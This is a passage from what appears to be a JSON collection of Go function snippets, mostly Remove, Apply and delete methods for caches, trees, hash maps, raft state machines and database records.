event\\n\\t\\t\\t\\t\\t\\t\\treturn true\\n\\t\\t\\t\\t\\t\\t})\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Update value\\n\\t\\t\\t\\tif update := req.Update; update != nil {\\n\\t\\t\\t\\t\\t// Get set.\\n\\t\\t\\t\\t\\tset, exist := gm.sets[update.Set]\\n\\t\\t\\t\\t\\tif !exist {\\n\\t\\t\\t\\t\\t\\tlogger.Panicf(\\\"set(%s) is not exist\\\", update.Set)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// Get map.\\n\\t\\t\\t\\t\\tm := set.get(update.Map)\\n\\t\\t\\t\\t\\t// Update value.\\n\\t\\t\\t\\t\\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\\n\\t\\t\\t\\t\\tif ok {\\n\\t\\t\\t\\t\\t\\t// The revision will be set only if update succeed\\n\\t\\t\\t\\t\\t\\tar.rev = e.Index\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif nil != pre {\\n\\t\\t\\t\\t\\t\\tar.pre = *pre\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Trigger proposal waiter.\\n\\t\\t\\t\\tgm.wait.Trigger(req.ID, &ar)\\n\\t\\t\\t}\\n\\t\\t// The configuration of gmap is fixed and wil not be synchronized through raft.\\n\\t\\tcase raftpb.EntryConfChange:\\n\\t\\tdefault:\\n\\t\\t\\tlogger.Panicf(\\\"entry type should be either EntryNormal or EntryConfChange\\\")\\n\\t\\t}\\n\\n\\t\\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\\n\\t}\\n}\",\n \"func (op *OpFlatten) Apply(e *entry.Entry) error {\\n\\tparent := op.Field.Parent()\\n\\tval, ok := e.Delete(op.Field)\\n\\tif !ok {\\n\\t\\t// The field doesn't exist, so ignore it\\n\\t\\treturn fmt.Errorf(\\\"apply flatten: field %s does not exist on body\\\", op.Field)\\n\\t}\\n\\n\\tvalMap, ok := val.(map[string]interface{})\\n\\tif !ok {\\n\\t\\t// The field we were asked to flatten was not a map, so put it back\\n\\t\\terr := e.Set(op.Field, val)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn errors.Wrap(err, \\\"reset non-map field\\\")\\n\\t\\t}\\n\\t\\treturn fmt.Errorf(\\\"apply flatten: field %s is not a map\\\", op.Field)\\n\\t}\\n\\n\\tfor k, v := range valMap {\\n\\t\\terr := e.Set(parent.Child(k), v)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m mapImports) Remove(key string, match string) {\\n\\tmp := m[key]\\n\\tfor idx := 0; idx < len(mp.standard); idx++ {\\n\\t\\tif mp.standard[idx] == match {\\n\\t\\t\\tmp.standard[idx] = mp.standard[len(mp.standard)-1]\\n\\t\\t\\tmp.standard = mp.standard[:len(mp.standard)-1]\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\tfor idx := 0; idx < len(mp.thirdParty); idx++ {\\n\\t\\tif mp.thirdParty[idx] == match {\\n\\t\\t\\tmp.thirdParty[idx] = mp.thirdParty[len(mp.thirdParty)-1]\\n\\t\\t\\tmp.thirdParty = mp.thirdParty[:len(mp.thirdParty)-1]\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\t// delete the key and return if both import lists are empty\\n\\tif len(mp.thirdParty) == 0 && len(mp.standard) == 0 {\\n\\t\\tdelete(m, key)\\n\\t\\treturn\\n\\t}\\n\\n\\tm[key] = mp\\n}\",\n \"func (c *Consistent) remove(elt string) {\\n\\tfor i := 0; i < c.NumberOfReplicas; i++ {\\n\\t\\tdelete(c.circle, c.hashKey(c.eltKey(elt, i)))\\n\\t}\\n\\tdelete(c.members, elt)\\n\\tc.updateSortedHashes()\\n\\tc.count--\\n}\",\n \"func Remove(name string) error\",\n \"func (e *entry) remove() {\\n\\te.prev.next = e.next\\n\\te.next.prev = e.prev\\n\\te.prev = nil\\n\\te.next = nil\\n}\",\n \"func (sb *shardBuffer) remove(toRemove *entry) {\\n\\tsb.mu.Lock()\\n\\tdefer sb.mu.Unlock()\\n\\n\\tif sb.queue == nil {\\n\\t\\t// Queue is cleared because we're already in the DRAIN phase.\\n\\t\\treturn\\n\\t}\\n\\n\\t// If entry is still in the queue, delete it and cancel it internally.\\n\\tfor i, e := range sb.queue {\\n\\t\\tif e == toRemove {\\n\\t\\t\\t// Delete entry at index \\\"i\\\" from slice.\\n\\t\\t\\tsb.queue = append(sb.queue[:i], sb.queue[i+1:]...)\\n\\n\\t\\t\\t// Cancel the entry's \\\"bufferCtx\\\".\\n\\t\\t\\t// The usual drain or eviction code would unblock the request and then\\n\\t\\t\\t// wait for the \\\"bufferCtx\\\" to be done.\\n\\t\\t\\t// But this code path is different because it's going to return an error\\n\\t\\t\\t// to the request and not the \\\"e.bufferCancel\\\" function i.e. the request\\n\\t\\t\\t// cannot cancel the \\\"bufferCtx\\\" itself.\\n\\t\\t\\t// Therefore, we call \\\"e.bufferCancel\\\". This also avoids that the\\n\\t\\t\\t// context's Go routine could leak.\\n\\t\\t\\te.bufferCancel()\\n\\t\\t\\t// Release the buffer slot and close the \\\"e.done\\\" channel.\\n\\t\\t\\t// By closing \\\"e.done\\\", we finish it explicitly and timeoutThread will\\n\\t\\t\\t// find out about it as well.\\n\\t\\t\\tsb.unblockAndWait(e, nil /* err */, true /* releaseSlot */, false /* blockingWait */)\\n\\n\\t\\t\\t// Track it as \\\"ContextDone\\\" eviction.\\n\\t\\t\\tstatsKeyWithReason := append(sb.statsKey, string(evictedContextDone))\\n\\t\\t\\trequestsEvicted.Add(statsKeyWithReason, 1)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\t// Entry was already removed. Keep the queue as it is.\\n}\",\n \"func (tb *tableManager) remove(keyIn uint64) error {\\n\\tkey, ok := CleanKey(keyIn)\\n\\tif !ok {\\n\\t\\tlog.Println(\\\"Key out of range.\\\")\\n\\t\\treturn errors.New(\\\"Key out of range.\\\")\\n\\t}\\n\\tentry, ok := tb.data[key]\\n\\tif !ok {\\n\\t\\tlog.Println(\\\"Key not found in table.\\\")\\n\\t\\treturn errors.New(\\\"Key not found in table.\\\")\\n\\t}\\n\\n\\ttb.removeFromLRUCache(entry)\\n\\tdelete(tb.data, key)\\n\\treturn nil\\n}\",\n \"func (list *List) Remove(e Entity) {\\n\\tdelete(list.m, e.Index())\\n}\",\n \"func (this *MyHashMap) Remove(key int) {\\n\\tindex := key & (this.b - 1)\\n\\tremoveIndex := 0\\n\\tremove := false\\n\\tfor e := range this.bucket[index] {\\n\\t\\tif this.bucket[index][e].key == key {\\n\\t\\t\\tremoveIndex = e\\n\\t\\t\\tremove = true\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\tif remove {\\n\\t\\tthis.bucket[index] = append(this.bucket[index][:removeIndex], this.bucket[index][removeIndex+1:]...)\\n\\t}\\n}\",\n \"func (b *Batch) Remove(filter Filter, comps ...ID) {\\n\\tb.world.exchangeBatch(filter, nil, comps)\\n}\",\n \"func (u updateCachedUploadRevision) apply(data *journalPersist) {\\n\\tc := data.CachedRevisions[u.Revision.ParentID.String()]\\n\\tc.Revision = u.Revision\\n\\tif u.SectorIndex == len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\\n\\t} else if u.SectorIndex < len(c.MerkleRoots) {\\n\\t\\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\\n\\t} else {\\n\\t\\t// Shouldn't happen. TODO: Add correct error handling.\\n\\t}\\n\\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\\n}\",\n \"func (h *Hostman) Remove(entries Entries) error {\\n\\treturn h.enableOrDisableEntries(entries, \\\"remove\\\")\\n}\",\n \"func (e *Entry) remove(c connection.Connection) {\\n\\te.connSync.Lock()\\n\\tdefer e.connSync.Unlock()\\n\\tif _, ok := e.idle[c.String()]; ok {\\n\\t\\tc.Remove(e.listener[c.String()])\\n\\t\\tdelete(e.idle, c.String())\\n\\t\\tdelete(e.listener, c.String())\\n\\t}\\n\\treturn\\n}\",\n \"func (thread *Thread) OnRemove(ctx aero.Context, key string, index int, obj interface{}) {\\n\\tonRemove(thread, ctx, key, index, obj)\\n}\",\n \"func (t *txLookUp) Remove(h common.Hash, removeType hashOrderRemoveType) {\\n\\tt.mu.Lock()\\n\\tdefer t.mu.Unlock()\\n\\n\\tt.remove(h, removeType)\\n}\",\n \"func (b *DirCensus) Remove(when interface{}, key Key) Population {\\n\\tc := b.MemCensus.Remove(when, key)\\n\\n\\tif c.Count == 0 && b.IsRecorded(c.Key) {\\n\\t\\tb.Record(c)\\n\\t}\\n\\treturn c\\n}\",\n \"func (c *LruCache) removeElement(e *list.Element) {\\n\\tc.evictList.Remove(e)\\n\\tkv := e.Value.(*entry)\\n\\tdelete(c.cache, kv.key)\\n\\tif c.onEvict != nil {\\n\\t\\tc.onEvict(kv.key, kv.value)\\n\\t}\\n}\",\n \"func (c Collector) Remove(k string) {\\n\\tif c.Has(k) {\\n\\t\\tdelete(c, k)\\n\\t}\\n}\",\n \"func (f UnFunc) Apply(ctx context.Context, data interface{}) (interface{}, error) {\\n\\treturn f(ctx, data)\\n}\",\n \"func (c *EntryCache) Remove(name string) error {\\n\\tc.mu.Lock()\\n\\tdefer c.mu.Unlock()\\n\\te, present := c.entries[name]\\n\\tif !present {\\n\\t\\treturn fmt.Errorf(\\\"entry '%s' is not in the cache\\\", name)\\n\\t}\\n\\te.mu.Lock()\\n\\tdelete(c.entries, name)\\n\\thashes, err := allHashes(e, c.hashes)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor _, h := range hashes {\\n\\t\\tdelete(c.lookupMap, h)\\n\\t}\\n\\tc.log.Info(\\\"[cache] Removed entry for '%s' from cache\\\", name)\\n\\treturn nil\\n}\",\n \"func (fs *memoryCacheFilesystem) removeElement(ent *list.Element) {\\n\\tfs.evictList.Remove(ent)\\n\\tcent := ent.Value.(*centry)\\n\\tfs.size -= cent.file.fi.Size()\\n\\tdelete(fs.cache, cent.name)\\n\\tfs.invalidator.Del(cent)\\n}\",\n \"func (e *ExpenseModel) Remove(filter interface{}) (int64, error) {\\n\\tcollection := e.db.Client.Database(e.db.DBName).Collection(\\\"expenses\\\")\\n\\tdeleteResult, err := collection.DeleteOne(context.TODO(), filter)\\n\\tif err != nil {\\n\\t\\tlog.Fatal(\\\"Error on deleting one expense\\\", err)\\n\\t\\treturn 0, err\\n\\t}\\n\\treturn deleteResult.DeletedCount, nil\\n}\",\n \"func (r *Repository) RemoveFromIndex(e *StatusEntry) error {\\n\\tif !e.Indexed() {\\n\\t\\treturn ErrEntryNotIndexed\\n\\t}\\n\\tindex, err := r.essence.Index()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif err := index.RemoveByPath(e.diffDelta.OldFile.Path); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdefer index.Free()\\n\\treturn index.Write()\\n}\",\n \"func (wectxs *WorkflowContextsMap) Remove(id int64) int64 {\\n\\twectxs.safeMap.Delete(id)\\n\\treturn id\\n}\",\n \"func (r *Report) remove(item *summarize.ElementStr) {\\n\\tret := ReportItem{\\n\\t\\tName: item.Name,\\n\\t\\tBefore: item.String(),\\n\\t}\\n\\t// TODO: compress this table if possible after all diffs have been\\n\\t// accounted for.\\n\\tswitch item.Kind {\\n\\tcase \\\"library\\\", \\\"const\\\", \\\"bits\\\", \\\"enum\\\", \\\"struct\\\",\\n\\t\\t\\\"table\\\", \\\"union\\\", \\\"protocol\\\", \\\"alias\\\",\\n\\t\\t\\\"struct/member\\\", \\\"table/member\\\", \\\"bits/member\\\",\\n\\t\\t\\\"enum/member\\\", \\\"union/member\\\", \\\"protocol/member\\\":\\n\\t\\tret.Conclusion = APIBreaking\\n\\tdefault:\\n\\t\\tpanic(fmt.Sprintf(\\\"Report.remove: unknown kind: %+v\\\", item))\\n\\t}\\n\\tr.addToDiff(ret)\\n}\",\n \"func (c *jsiiProxy_CfnStackSet) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\\n\\t_jsii_.InvokeVoid(\\n\\t\\tc,\\n\\t\\t\\\"applyRemovalPolicy\\\",\\n\\t\\t[]interface{}{policy, options},\\n\\t)\\n}\",\n \"func (s *SweepPruneSet[T]) Remove(id SweepPruneItemID) {\\n\\titemIndex := uint32(id)\\n\\titem := &s.items[itemIndex]\\n\\titem.Position = dprec.Vec3{\\n\\t\\tX: math.Inf(+1),\\n\\t\\tY: math.Inf(+1),\\n\\t\\tZ: math.Inf(+1),\\n\\t}\\n\\titem.Radius = 1.0\\n\\tvar zeroV T\\n\\titem.Value = zeroV\\n\\ts.dirtyItemIDs[itemIndex] = struct{}{}\\n\\ts.freeItemIDs.Push(itemIndex)\\n}\",\n \"func (g *Group) RemoveEntry(e *Entry) error {\\n\\tvar ok bool\\n\\tg.entries, ok = removeEntry(g.entries, e)\\n\\tif !ok {\\n\\t\\treturn fmt.Errorf(\\\"keepass: removing entry %s (id=%v): not in group %s (id=%d)\\\", e.Title, e.UUID, g.Name, g.ID)\\n\\t}\\n\\tg.db.entries, _ = removeEntry(g.db.entries, e)\\n\\te.db = nil\\n\\treturn nil\\n}\",\n \"func (sset *SSet) Remove(value interface{}) {\\n\\tkey := sset.f(value)\\n\\tif index, found := sset.m_index[key]; found {\\n\\t\\tsset.list.Remove(index)\\n\\t\\tsset.m.Remove(key)\\n\\t\\tdelete(sset.m_index, key)\\n\\t\\tsset.fixIndex()\\n\\t}\\n}\",\n \"func (txn *levelDBTxn) Remove(key string) error {\\n\\ttxn.mu.Lock()\\n\\tdefer txn.mu.Unlock()\\n\\n\\ttxn.batch.Delete([]byte(key))\\n\\treturn nil\\n}\",\n \"func (c *Consistent) Remove(elt string) {\\n\\tc.Lock()\\n\\tdefer c.Unlock()\\n\\tc.remove(elt)\\n}\",\n \"func (c *Consistent) Remove(elt string) {\\n\\tc.Lock()\\n\\tdefer c.Unlock()\\n\\tc.remove(elt)\\n}\",\n \"func (tree *Tree) Remove(key interface{}) {\\n\\tvar child *Node\\n\\tnode := tree.lookup(key)\\n\\tif node == nil {\\n\\t\\treturn\\n\\t}\\n\\tif node.Left != nil && node.Right != nil {\\n\\t\\tpred := node.Left.maximumNode()\\n\\t\\tnode.Key = pred.Key\\n\\t\\tnode.Value = pred.Value\\n\\t\\tnode = pred\\n\\t}\\n\\tif node.Left == nil || node.Right == nil {\\n\\t\\tif node.Right == nil {\\n\\t\\t\\tchild = node.Left\\n\\t\\t} else {\\n\\t\\t\\tchild = node.Right\\n\\t\\t}\\n\\t\\tif node.color == black {\\n\\t\\t\\tnode.color = nodeColor(child)\\n\\t\\t\\ttree.deleteCase1(node)\\n\\t\\t}\\n\\t\\ttree.replaceNode(node, child)\\n\\t\\tif node.Parent == nil && child != nil {\\n\\t\\t\\tchild.color = black\\n\\t\\t}\\n\\t}\\n\\ttree.size--\\n}\",\n \"func Remove(key string) error {\\n\\tquery := arangolite.NewQuery(`FOR ingredient IN %s FILTER ingredient._key==@key REMOVE ingredient IN %s`, CollectionName, CollectionName)\\n\\tquery.Bind(\\\"key\\\", key)\\n\\t_, err := config.DB().Run(query)\\n\\treturn err\\n}\",\n \"func (mm *Model) Remove(selector interface{}, keys ...string) error {\\n\\treturn mm.execute(func(c CachedCollection) error {\\n\\t\\treturn c.Remove(selector, keys...)\\n\\t})\\n}\",\n \"func (t *tOps) remove(f *tFile) {\\n\\tt.cache.Delete(0, uint64(f.fd.Num), func() {\\n\\t\\tif err := t.s.stor.Remove(f.fd); err != nil {\\n\\t\\t\\tt.s.logf(\\\"table@remove removing @%d %q\\\", f.fd.Num, err)\\n\\t\\t} else {\\n\\t\\t\\tt.s.logf(\\\"table@remove removed @%d\\\", f.fd.Num)\\n\\t\\t}\\n\\t\\tif t.evictRemoved && t.bcache != nil {\\n\\t\\t\\tt.bcache.EvictNS(uint64(f.fd.Num))\\n\\t\\t}\\n\\t})\\n}\",\n \"func (s *ConfigurationStore) RemoveEntry(name ConfigName) {\\n\\tdelete(s.Store, name)\\n}\",\n \"func removeEntry(bucket []entry, idx int) []entry {\\n\\n\\t// https://github.com/golang/go/wiki/SliceTricks\\n\\t// Cut out the entry by taking all entries from\\n\\t// infront of the index and moving them behind the\\n\\t// index specified.\\n\\tcopy(bucket[idx:], bucket[idx+1:])\\n\\n\\t// Set the proper length for the new slice since\\n\\t// an entry was removed. The length needs to be\\n\\t// reduced by 1.\\n\\tbucket = bucket[:len(bucket)-1]\\n\\n\\t// Look to see if the current allocation for the\\n\\t// bucket can be reduced due to the amount of\\n\\t// entries removed from this bucket.\\n\\treturn reduceAllocation(bucket)\\n}\",\n \"func (d *Directory) Remove(name string) (*DirectoryEntry, int) {\\n\\tfor i, e := range d.Entries {\\n\\t\\tif e.Path == name {\\n\\t\\t\\td.Entries = append(d.Entries[:i], d.Entries[i+1:]...)\\n\\t\\t\\treturn e, i\\n\\t\\t}\\n\\t}\\n\\treturn nil, -1\\n}\",\n \"func (m *ACLs) DeleteEntry(aclType string, qualifier string) {\\n\\tfor i, e := range m.Entries {\\n\\t\\tif e.Qualifier == qualifier && e.Type == aclType {\\n\\t\\t\\tm.Entries = append(m.Entries[:i], m.Entries[i+1:]...)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n}\",\n \"func (m *Model) Remove(storeLDAP storage.LDAP) error {\\n\\tif m.DN == \\\"\\\" {\\n\\t\\treturn errors.New(\\\"model requires dn to be set\\\")\\n\\t}\\n\\n\\tsr := ldap.NewSimpleSearchRequest(m.DN, ldap.ScopeWholeSubtree, \\\"(objectClass=*)\\\", []string{\\\"none\\\"})\\n\\tresult, err := storeLDAP.Search(sr)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tfor i := len(result.Entries) - 1; i >= 0; i-- {\\n\\t\\tif err := storeLDAP.Delete(ldap.NewDeleteRequest(result.Entries[i].DN)); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c *Consistent) Remove(elt string) {\\n\\tc.Mu.Lock()\\n\\tdefer c.Mu.Unlock()\\n\\tc.remove(elt)\\n}\",\n \"func (t *TextUpdateSystem) Remove(basic ecs.BasicEntity) {\\n\\tdelete := -1\\n\\n\\tfor index, e := range t.entities {\\n\\t\\tif e.BasicEntity.ID() == basic.ID() {\\n\\t\\t\\tdelete = index\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\tif delete >= 0 {\\n\\t\\tt.entities = append(t.entities[:delete], t.entities[delete+1:]...)\\n\\t}\\n}\",\n \"func (c DirCollector) Remove(k string) {\\n\\tif c.Has(k) {\\n\\t\\tdelete(c, k)\\n\\t}\\n}\",\n \"func (c DeferDirCollector) Remove(k string) {\\n\\tif c.Has(k) {\\n\\t\\tdelete(c, k)\\n\\t}\\n}\",\n \"func (t *BoundedTable) RemoveRecord(ctx context.Context, h int64, r []types.Datum) error {\\n\\t// not supported, BoundedTable is TRUNCATE only\\n\\treturn table.ErrUnsupportedOp\\n}\",\n \"func (c *LRU) Remove(s utils.Service) error {\\n\\tremoveNum := 0\\n\\tif element := c.items[s.Aliases]; element != nil {\\n\\t\\tif _, ok := element.table[s.RecordType]; !ok {\\n\\t\\t\\treturn errors.New(\\\"RocordType doesn't exist\\\")\\n\\t\\t}\\n\\t\\ttmp := element.table[s.RecordType].list\\n\\t\\tfor v := 0; v < len(tmp); v++ {\\n\\t\\t\\tif tmp[v].Value.(*utils.Entry).Value == s.Value {\\n\\t\\t\\t\\tif c.onEvict != nil {\\n\\t\\t\\t\\t\\tc.onEvict(tmp[v].Value.(*utils.Entry))\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tc.evictList.Remove(tmp[v])\\n\\t\\t\\t\\ttmp = append(tmp[:v], tmp[v+1:]...)\\n\\t\\t\\t\\tv = v - 1\\n\\t\\t\\t\\tremoveNum = removeNum + 1\\n\\t\\t\\t\\tif len(tmp) == 0 {\\n\\t\\t\\t\\t\\tdelete(element.table, s.RecordType)\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tif removeNum > 0 {\\n\\t\\treturn nil\\n\\t}\\n\\treturn errors.New(\\\"Nothing is removed\\\")\\n}\",\n \"func (c *layerCache) Remove(key interface{}) (err error) {\\n\\terr = c.Storage.Remove(key)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif c.next == nil {\\n\\t\\t// This is bottom layer\\n\\t\\treturn nil\\n\\t}\\n\\t// Queue to flush\\n\\tc.log <- log{key, &Message{Value: nil, Message: MessageRemove}}\\n\\tc.Sync() // Remove must be synced\\n\\treturn nil\\n}\",\n \"func (u *UdMap) Del(key string) { delete(u.Data, key) }\",\n \"func (c *QueuedChan) remove(cmd *queuedChanRemoveCmd) {\\n\\t// Get object count before remove.\\n\\tcount := c.List.Len()\\n\\t// Iterate list.\\n\\tfor i := c.Front(); i != nil; {\\n\\t\\tvar re *list.Element\\n\\t\\t// Filter object.\\n\\t\\tok, cont := cmd.f(i.Value)\\n\\t\\tif ok {\\n\\t\\t\\tre = i\\n\\t\\t}\\n\\t\\t// Next element.\\n\\t\\ti = i.Next()\\n\\t\\t// Remove element\\n\\t\\tif nil != re {\\n\\t\\t\\tc.List.Remove(re)\\n\\t\\t}\\n\\t\\t// Continue\\n\\t\\tif !cont {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\t// Update channel length\\n\\tatomic.StoreInt32(&c.len, int32(c.List.Len()))\\n\\t// Return removed object number.\\n\\tcmd.r <- count - c.List.Len()\\n}\",\n \"func (r *remove) Execute(cfg *config.Config, logger *log.Logger) error {\\n\\tlogger.Printf(\\\"Removing %s\\\\n\\\", r.args[0])\\n\\n\\tpathToDelete := r.args[0]\\n\\tif expandedPath, err := pathutil.Expand(pathToDelete); err == nil {\\n\\t\\tpathToDelete = expandedPath\\n\\t}\\n\\treturn os.RemoveAll(pathToDelete)\\n}\",\n \"func (i IntHashMap[T, V]) Remove(key T) {\\n\\thash := key.Hash()\\n\\tdelete(i.hashToKey, hash)\\n\\tdelete(i.hashToVal, hash)\\n}\",\n \"func (i StringHashMap[T, V]) Remove(key T) {\\n\\thash := key.Hash()\\n\\tdelete(i.hashToKey, hash)\\n\\tdelete(i.hashToVal, hash)\\n}\",\n \"func (c *jsiiProxy_CfnStack) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\\n\\t_jsii_.InvokeVoid(\\n\\t\\tc,\\n\\t\\t\\\"applyRemovalPolicy\\\",\\n\\t\\t[]interface{}{policy, options},\\n\\t)\\n}\",\n \"func (c *jsiiProxy_CfnStack) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\\n\\t_jsii_.InvokeVoid(\\n\\t\\tc,\\n\\t\\t\\\"applyRemovalPolicy\\\",\\n\\t\\t[]interface{}{policy, options},\\n\\t)\\n}\",\n \"func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\\n\\tif arg.Type() == value.MISSING {\\n\\t\\treturn value.MISSING_VALUE, nil\\n\\t} else if arg.Type() != value.OBJECT {\\n\\t\\treturn value.NULL_VALUE, nil\\n\\t}\\n\\n\\toa := arg.Actual().(map[string]interface{})\\n\\tif len(oa) == 1 {\\n\\t\\tfor _, v := range oa {\\n\\t\\t\\treturn value.NewValue(v), nil\\n\\t\\t}\\n\\t}\\n\\n\\treturn value.NULL_VALUE, nil\\n}\",\n \"func (s *PBFTServer) removeEntry(id entryID) {\\n\\tdelete(s.log, id)\\n}\",\n \"func (kv *RaftKV) Apply(msg *raft.ApplyMsg) {\\n\\tkv.mu.Lock()\\n\\tdefer kv.mu.Unlock()\\n\\n\\tvar args Op\\n\\targs = msg.Command.(Op)\\n\\tif kv.op_count[args.Client] >= args.Id {\\n\\t\\tDPrintf(\\\"Duplicate operation\\\\n\\\")\\n\\t}else {\\n\\t\\tswitch args.Type {\\n\\t\\tcase OpPut:\\n\\t\\t\\tDPrintf(\\\"Put Key/Value %v/%v\\\\n\\\", args.Key, args.Value)\\n\\t\\t\\tkv.data[args.Key] = args.Value\\n\\t\\tcase OpAppend:\\n\\t\\t\\tDPrintf(\\\"Append Key/Value %v/%v\\\\n\\\", args.Key, args.Value)\\n\\t\\t\\tkv.data[args.Key] = kv.data[args.Key] + args.Value\\n\\t\\tdefault:\\n\\t\\t}\\n\\t\\tkv.op_count[args.Client] = args.Id\\n\\t}\\n\\n\\t//DPrintf(\\\"@@@Index:%v len:%v content:%v\\\\n\\\", msg.Index, len(kv.pendingOps[msg.Index]), kv.pendingOps[msg.Index])\\n\\t//DPrintf(\\\"@@@kv.pendingOps[%v]:%v\\\\n\\\", msg.Index, kv.pendingOps[msg.Index])\\n\\tfor _, i := range kv.pendingOps[msg.Index] {\\n\\t\\tif i.op.Client==args.Client && i.op.Id==args.Id {\\n\\t\\t\\tDPrintf(\\\"Client:%v %v, Id:%v %v\\\", i.op.Client, args.Client, i.op.Id, args.Id)\\n\\t\\t\\ti.flag <- true\\n\\t\\t}else {\\n\\t\\t\\tDPrintf(\\\"Client:%v %v, Id:%v %v\\\", i.op.Client, args.Client, i.op.Id, args.Id)\\n\\t\\t\\ti.flag <-false\\n\\t\\t}\\n\\t}\\n\\tdelete(kv.pendingOps, msg.Index)\\n}\",\n \"func (storage *Storage) remove(e *list.Element) {\\n\\tdelete(storage.cache, e.Value.(*payload).Key)\\n\\tstorage.lruList.Remove(e)\\n}\",\n \"func (entries *Entries) delete(key uint64) Entry {\\n\\ti := entries.search(key)\\n\\tif i == len(*entries) { // key not found\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif (*entries)[i].Key() != key {\\n\\t\\treturn nil\\n\\t}\\n\\n\\toldEntry := (*entries)[i]\\n\\tcopy((*entries)[i:], (*entries)[i+1:])\\n\\t(*entries)[len(*entries)-1] = nil // GC\\n\\t*entries = (*entries)[:len(*entries)-1]\\n\\treturn oldEntry\\n}\",\n \"func Remove(table string, tx *sql.Tx, fieldKey string) error {\\n\\tctx := context.Background()\\n\\tvar row DemoRow\\n\\trow.FieldKey = fieldKey\\n\\tfm, err := NewFieldsMap(table, &row)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\terr = fm.SQLDeleteByPriKey(ctx, tx, db)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c *Client) FilterEntryDel(tenant, filter, entry string) error {\\n\\n\\tme := \\\"FilterEntryDel\\\"\\n\\n\\tdnF := dnFilter(tenant, filter)\\n\\tdn := dnFilterEntry(tenant, filter, entry)\\n\\n\\tapi := \\\"/api/node/mo/uni/\\\" + dnF + \\\".json\\\"\\n\\n\\turl := c.getURL(api)\\n\\n\\tj := fmt.Sprintf(`{\\\"vzFilter\\\":{\\\"attributes\\\":{\\\"dn\\\":\\\"uni/%s\\\",\\\"status\\\":\\\"modified\\\"},\\\"children\\\":[{\\\"vzEntry\\\":{\\\"attributes\\\":{\\\"dn\\\":\\\"uni/%s\\\",\\\"status\\\":\\\"deleted\\\"}}}]}}`,\\n\\t\\tdnF, dn)\\n\\n\\tc.debugf(\\\"%s: url=%s json=%s\\\", me, url, j)\\n\\n\\tbody, errPost := c.post(url, contentTypeJSON, bytes.NewBufferString(j))\\n\\tif errPost != nil {\\n\\t\\treturn fmt.Errorf(\\\"%s: %v\\\", me, errPost)\\n\\t}\\n\\n\\tc.debugf(\\\"%s: reply: %s\\\", me, string(body))\\n\\n\\treturn parseJSONError(body)\\n}\",\n \"func (sm sharedMap) Remove(k string) {\\n\\tsm.c <- command{action: remove, key: k}\\n}\",\n \"func Remove(ctx context.Context, db *sql.DB, key []byte) error {\\n\\tctx, cancel := context.WithDeadline(ctx, time.Now().Add(3*time.Second))\\n\\tdefer cancel()\\n\\tquery := \\\"DELETE FROM keys WHERE key=?\\\"\\n\\t_, err := db.ExecContext(ctx, query, string(key))\\n\\tif err != nil {\\n\\t\\treturn errors.Errorf(\\\"could not delete key=%q: %w\\\", string(key), err).WithField(\\\"query\\\", query)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (n *node) del(view *View, pred func(x, y float64, e interface{}) bool, inPtr *subtree, r *root) {\\n\\tallEmpty := true\\n\\tfor i := range n.children {\\n\\t\\tif n.children[i].View().overlaps(view) {\\n\\t\\t\\tn.children[i].del(view, pred, &n.children[i], r)\\n\\t\\t}\\n\\t\\tallEmpty = allEmpty && n.children[i].isEmptyLeaf()\\n\\t}\\n\\tif allEmpty && inPtr != nil {\\n\\t\\tvar l subtree\\n\\t\\tl = r.newLeaf(n.View()) // TODO Think hard about whether this could error out\\n\\t\\t*inPtr = l\\n\\t\\tr.recycleNode(n)\\n\\t}\\n\\treturn\\n}\",\n \"func (tr *Tree) Remove(cell store_pb.RecordID, data unsafe.Pointer) {\\n\\tif tr.root == nil {\\n\\t\\treturn\\n\\t}\\n\\tif tr.remove(tr.root, cell, data, 128-nBits) {\\n\\t\\ttr.len--\\n\\t}\\n}\",\n \"func (k *MutableKey) Remove(val uint64) {\\n\\tdelete(k.vals, val)\\n\\tk.synced = false\\n}\",\n \"func (tb *tableManager) markRemove(keyIn uint64) error {\\n\\tvar err error\\n\\tvar entry *tableEntry\\n\\tentry, err = tb.getEntry(keyIn)\\n\\tif err != nil 